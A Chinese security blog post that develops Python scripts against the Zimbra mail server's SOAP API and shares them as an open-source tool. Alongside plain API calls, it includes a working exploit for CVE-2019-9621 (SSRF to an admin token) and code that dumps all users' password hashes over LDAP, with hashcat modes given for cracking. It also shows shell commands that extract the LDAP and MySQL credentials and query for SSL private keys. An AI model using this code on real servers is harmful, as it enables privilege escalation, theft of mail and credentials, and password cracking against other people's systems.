导语:本文简单测试了Python-Zimbra库,参照API文档的数据格式手动拼接数据包,实现对Zimbra SOAP API的调用,开源代码Zimbra_SOAP_API_Manage,分享脚本开发的细节,便于后续的二次开发。
0x00 前言
通过Zimbra SOAP API能够对Zimbra邮件服务器的资源进行访问和修改,Zimbra官方开源了Python实现的Python-Zimbra库作为参考。
为了更加了解Zimbra SOAP API的开发细节,我决定不依赖Python-Zimbra库,参照API文档的数据格式尝试手动拼接数据包,实现对Zimbra SOAP API的调用。
0x01 简介
本文将要介绍以下内容:
· Zimbra SOAP API简介
· Python-Zimbra简单测试
· Zimbra SOAP API框架的开发思路
· 开源代码
0x02 Zimbra SOAP API简介
Zimbra SOAP API包括以下命名空间:
· zimbraAccount
· zimbraAdmin
· zimbraAdminExt
· zimbraMail
· zimbraRepl
· zimbraSync
· zimbraVoice
每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个:
· zimbraAdmin,Zimbra邮件服务器的管理接口,需要管理员权限
· zimbraAccount,同Zimbra用户相关的操作
· zimbraMail,同zimbra邮件的操作
Zimbra邮件服务器默认的开放端口有以下三种:
1.访问邮件
· 默认端口为80或443
· 对应的地址为:uri+"/service/soap"
2.管理面板
· 默认端口为7071
· 对应的地址为:uri+":7071/service/admin/soap"
3.管理面板->访问邮件
· 从管理面板能够读取所有用户的邮件
· 默认端口为8443
· 对应的地址为:uri+":8443/mail?adminPreAuth=1"
0x03 Python-Zimbra简单测试
参考地址:
https://github.com/Zimbra-Community/python-zimbra
http://zimbra-community.github.io/python-zimbra/docs/
对于自己的测试环境,需要忽略SSL证书验证,使用如下代码:
import ssl ssl._create_default_https_context = ssl._create_unverified_context
使用用户名和口令登录的示例代码如下:
token = auth.authenticate( url, '[email protected]', 'password123456', use_password=True )
使用preauth-key登录的示例代码如下:
token = auth.authenticate( url, '[email protected]', 'secret-preauth-key' )
1.普通用户登录
对应的地址为:uri+"/service/soap"
获得发件箱邮件数量的示例代码如下:
import pythonzimbra.communication from pythonzimbra.communication import Communication import pythonzimbra.tools from pythonzimbra.tools import auth import warnings warnings.filterwarnings("ignore") import ssl ssl._create_default_https_context = ssl._create_unverified_context url = 'https://192.168.112.1/service/soap' comm = Communication(url) token = auth.authenticate( url, 'test', 'password123456', use_password=True, ) info_request = comm.gen_request(token=token) info_request.add_request( "GetFolderRequest", { "folder": { "path": "/sent" } }, "urn:zimbraMail" ) info_response = comm.send_request(info_request) print(info_response.get_response()) if not info_response.is_fault(): print("size:%s"%info_response.get_response()['GetFolderResponse']['folder']['n'])
运行结果如下图:
2.管理员登录
对应的地址为:uri+":7071/service/admin/soap"
获得所有邮件用户信息的示例代码如下:
import pythonzimbra.communication from pythonzimbra.communication import Communication import pythonzimbra.tools from pythonzimbra.tools import auth import warnings warnings.filterwarnings("ignore") import ssl ssl._create_default_https_context = ssl._create_unverified_context url = 'https://192.168.112.1:7071/service/admin/soap' comm = Communication(url) token = auth.authenticate( url, 'admin', 'password123456', use_password=True, admin_auth=True, ) info_request = comm.gen_request(token=token) info_request.add_request( "GetAllAccountsRequest", { }, "urn:zimbraAdmin" ) info_response = comm.send_request(info_request) if not info_response.is_fault(): print(info_response.get_response()['GetAllAccountsResponse'])
运行结果如下图:
0x04 Zimbra SOAP API框架的实现
Zimbra SOAP API的参考文档:
https://wiki.zimbra.com/wiki/SOAP_API_Reference_Material_Beginning_with_ZCS_8
https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/index.html
实现的总体思路如下:
· 模拟用户登录,获得token
· 使用token作为凭据,进行下一步操作
1.token的获取
(1)普通用户token
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAccount/Auth.html
对应命名空间为zimbraAccount。
请求的地址为:uri+"/service/soap"
根据说明文档中的SOAP格式,可通过以下Python代码实现:
def auth_request_low(uri,username,password): request_body=""" {username} {password} """ print("[*] Try to auth for low token") try: r=requests.post(uri+"/service/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15) if 'authentication failed' in r.text: print("[-] Authentication failed for %s"%(username)) return False elif 'authToken' in r.text: pattern_auth_token=re.compile(r"(.*?)") token = pattern_auth_token.findall(r.text)[0] print("[+] Authentication success for %s"%(username)) print("[*] authToken_low:%s"%(token)) return token else: print("[!]") print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
(2)管理员token
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/Auth.html
对应命名空间为zimbraAdmin。
请求的地址为:uri+":7071/service/admin/soap"
根据说明文档中的SOAP格式,可通过以下Python代码实现:
def auth_request_admin(uri,username,password): request_body=""" {username} {password} """ print("[*] Try to auth for admin token") try: r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15) if 'authentication failed' in r.text: print("[-] Authentication failed for %s"%(username)) return False elif 'authToken' in r.text: pattern_auth_token=re.compile(r"(.*?)") token = pattern_auth_token.findall(r.text)[0] print("[+] Authentication success for %s"%(username)) print("[*] authToken_admin:%s"%(token)) return token else: print("[!]") print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
补充: (3)普通用户token->管理员token
漏洞编号:CVE-2019-9621
利用ProxyServlet.doProxy()函数白名单检查的缺陷,能够将uri+"/service/soap"的请求代理到uri+":7071/service/admin/soap",进而获得管理员token。
Python实现代码如下:
def lowtoken_to_admintoken_by_SSRF(uri,username,password): request_body=""" {username} {password} """ print("[*] Try to auth for low token") try: r=requests.post(uri+"/service/soap",data=request_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False) if 'authentication failed' in r.text: print("[-] Authentication failed for %s"%(username)) return False elif 'authToken' in r.text: pattern_auth_token=re.compile(r"(.*?)") low_token = pattern_auth_token.findall(r.text)[0] print("[+] Authentication success for %s"%(username)) print("[*] authToken_low:%s"%(low_token)) headers = { "Content-Type":"application/xml" } headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_token+";" headers["Host"]="foo:7071" print("[*] Try to get admin token by SSRF(CVE-2019-9621)") s = requests.session() r = s.post(uri+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=request_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False) if 'authToken' in r.text: admin_token =pattern_auth_token.findall(r.text)[0] print("[+] Success for SSRF") print("[+] ADMIN_TOKEN: "+admin_token) return admin_token else: print("[!]") print(r.text) else: print("[!]") print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
2.命令实现
如果需要管理员token,在说明文档中每个命令的Admin Authorization token required项会被标记,如下图:
这里挑选几个具有代表性的命令进行介绍。
(1)GetFolder
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetFolder.html
用来获得文件夹的属性。
需要普通用户token。
枚举所有文件夹下邮件数量的Python代码如下:
def getfolder_request(uri,token): request_body=""" {token} """ try: print("[*] Try to get folder") r=requests.post(uri+"/service/soap",data=request_body.format(token=token),verify=False,timeout=15) pattern_name = re.compile(r"name=\"(.*?)\"") name = pattern_name.findall(r.text) pattern_size = re.compile(r" n=\"(.*?)\"") size = pattern_size.findall(r.text) for i in range(len(name)): print("[+] Name:%s,Size:%s"%(name[i],size[i])) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
测试结果如下图:
(2)GetMsg
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetMsg.html
用来读取邮件信息。
需要普通用户token。
查看指定邮件的Python代码如下:
def getmsg_request(uri,token,id): request_body=""" {token} {id} """ try: print("[*] Try to get msg") r=requests.post(uri+"/service/soap",data=request_body.format(token=token,id=id),verify=False,timeout=15) print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
这些需要指定要查看邮件的Message ID,测试结果如下图:
(3)GetContacts
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetContacts.html
用来读取联系人列表。
需要普通用户token。
Python实现代码如下:
def getcontacts_request(uri,token,email): request_body=""" {token} {email} """ try: print("[*] Try to get contacts") r=requests.post(uri+"/service/soap",data=request_body.format(token=token,email=email),verify=False,timeout=15) pattern_data = re.compile(r"(.*?)") data = pattern_data.findall(r.text) print(data[0]) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
测试结果如下图:
(4)GetAllAccounts
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetAllAccounts.html
用来获得所有用户的信息。
需要管理员token。
获得所有用户列表,输出用户名和对应Id的Python实现代码如下:
def getallaccounts_request(uri,token): request_body=""" {token} """ try: print("[*] Try to get all accounts") r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token),verify=False,timeout=15) pattern_name = re.compile(r"name=\"(.*?)\"") name = pattern_name.findall(r.text) pattern_accountId = re.compile(r"id=\"(.*?)\"") accountId = pattern_accountId.findall(r.text) for i in range(len(name)): print("[+] Name:%s,Id:%s"%(name[i],accountId[i])) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
测试结果如下图:
(5)GetLDAPEntries
说明文档:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetLDAPEntries.html
用来获取ldap搜索的结果。
需要管理员token。
实现LDAP查询的Python代码如下:
def getldapentries_request(uri,token,query,ldapSearchBase): request_body=""" {token} {query} {ldapSearchBase} """ try: print("[*] Try to get LDAP Entries of %s"%(query)) r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15) print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
这里我们需要先了解zimbra openLDAP的用法,才能明白参数query和ldapSearchBase的格式。
在Zimbra服务器上测试以下命令:
1.获得连接LDAP服务器的用户名和口令:
su zimbra /opt/zimbra/bin/zmlocalconfig -s |grep zimbra_ldap
如下图:
2.使用获得的用户名和口令连接LDAP服务器,输出所有结果:
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9
如下图:
3.加入筛选条件,只显示用户列表:
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 "(&(objectClass=zimbraAccount))"
或者
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "ou=people,dc=zimbra,dc=com"
如下图:
可以注意到userPassword项为用户口令的hash。
4.再次加入筛选条件,只显示用户名称和对应hash:
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 "(&(objectClass=zimbraAccount))" mail userPassword
如下图:
其中导出的hash前12字节为固定字符e1NTSEE1MTJ9,经过base64解密后的内容为{SSHA512},后面部分为SHA-512加密的字符,对应hashcat的Hash-Mode为1700。
补充1:其他ldap命令
查询zimbra配置信息:
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "cn=config,cn=zimbra" /opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "cn=cos,cn=zimbra"
查询zimbra server配置信息:
/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b `"cn=servers,cn=zimbra"`
其中包括如下内容:
· zimbraSshPublicKey
· zimbraMemcachedClientServerList
· zimbraSSLCertificate
· zimbraSSLPrivateKey
补充2:连接MySQL数据库的操作
1.获得连接MySQL数据库的用户名和口令:
su zimbra /opt/zimbra/bin/zmlocalconfig -s | grep mysql
如下图:
2.连接MySQL数据库:
/opt/zimbra/bin/mysql -h 127.0.0.1 -u root -P 7306 -p
3.查看所有数据库:
show databases;
如下图:
综上,如果要查询所有用户的信息,query的值可以设置为"cn=*",ldapSearchBase的值可以设置为"ou=people,dc=zimbra,dc=com"
注:不同环境的ldapSearchBase值不同,通常和域名保持一致。
通过LDAP查询获得用户名称和对应hash的Python代码如下:
def getalluserhash(uri,token,query,ldapSearchBase): request_body=""" {token} {query} {ldapSearchBase} """ try: print("[*] Try to get all users' hash") r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15) if 'userPassword' in r.text: pattern_data = re.compile(r"userPass(.*?)objectClass") data = pattern_data.findall(r.text) for i in range(len(data)): pattern_user = re.compile(r"mail\">(.*?)(.*?)<") password = pattern_password.findall(data[i]) print("[+] User:%s"%(user[0])) print(" Hash:%s"%(password[0])) else: print("[!]") print(r.text) except Exception as e: print("[!] Error:%s"%(e)) exit(0)
测试结果如下图:
其中导出的hash对应hashcat的Hash-Mode为1711。
注:新版本的zimbra无法读取hash,显示VALUE-BLOCKED,如下图:
0x05 开源代码
代码已开源,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py
代码支持三种连接方式:
· 普通用户token
· 管理员token
· SSRF(CVE-2019-9621)
连接成功后会显示支持的命令。
普通用户token支持的命令如下:
GetAllAddressLists GetContacts GetFolder GetItem ,Eg:GetItem /Inbox GetMsg ,Eg:GetMsg 259
部分测试结果如下图:
管理员token支持的命令如下:
GetAllDomains GetAllMailboxes GetAllAccounts GetAllAdminAccounts GetMemcachedClientConfig GetLDAPEntries ,Eg:GetLDAPEntries cn=* dc=zimbra,dc=com getalluserhash ,Eg:getalluserhash dc=zimbra,dc=com
部分测试结果如下图:
0x06 日志检测
登录日志的位置为/opt/zimbra/log/mailbox.log
其他种类的邮件日志可参考https://wiki.zimbra.com/wiki/Log_Files
0x07 小结
本文简单测试了Python-Zimbra库,参照API文档的数据格式手动拼接数据包,实现对Zimbra SOAP API的调用,开源代码Zimbra_SOAP_API_Manage,分享脚本开发的细节,便于后续的二次开发。
本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址